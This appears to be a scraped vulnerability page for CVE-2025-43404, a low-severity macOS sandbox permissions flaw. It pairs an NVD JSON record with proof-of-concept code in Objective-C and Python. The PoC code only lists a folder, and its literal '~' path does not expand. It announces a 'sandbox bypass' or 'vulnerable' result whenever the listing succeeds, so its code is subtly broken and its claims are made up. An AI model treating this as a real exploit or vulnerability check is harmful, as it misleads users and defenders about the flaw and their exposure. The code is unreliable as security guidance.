CVE-2025-43404

// CVE-2025-43404 PoC - macOS Sandbox Bypass // This PoC demonstrates the sandbox restriction bypass vulnerability // Note: This is for educational purposes only #include <Foundation/Foundation.h> #include <AppKit/AppKit.h> int main(int argc, const char * argv[]) { @autoreleasepool { // Attempt to access sensitive user data bypassing sandbox NSString *sensitivePath = @"~/Library/Application Support/"; NSFileManager *fileManager = [NSFileManager defaultManager]; // Enumerate files in protected directory NSError *error = nil; NSArray *contents = [fileManager contentsOfDirectoryAtPath:sensitivePath error:&error]; if (contents) { NSLog(@"[+] Successfully bypassed sandbox restrictions"); NSLog(@"[+] Accessed sensitive directory: %@", sensitivePath); for (NSString *item in contents) { NSLog(@" - %@", item); } } else { NSLog(@"[-] Access denied or patched"); } } return 0; } /* # Python PoC - Check if vulnerable import subprocess import sys def check_vulnerability(): try: # Attempt to access protected user data result = subprocess.run( ['ls', '-la', '~/Library/Application\ Support/'], capture_output=True, text=True ) if result.returncode == 0: print("[+] System may be vulnerable to CVE-2025-43404") print(result.stdout) else: print("[-] Access denied (system may be patched)") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": check_vulnerability() */

{"cve": {"id": "CVE-2025-43404", "sourceIdentifier": "[email protected]", "published": "2025-12-12T21:15:53.913", "lastModified": "2025-12-15T22:03:51.640", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A permissions issue was addressed with additional sandbox restrictions. This issue is fixed in macOS Tahoe 26.1. An app may be able to access sensitive user data."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "081B6CCE-FFA4-409C-9353-15014F3AF436"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125634", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}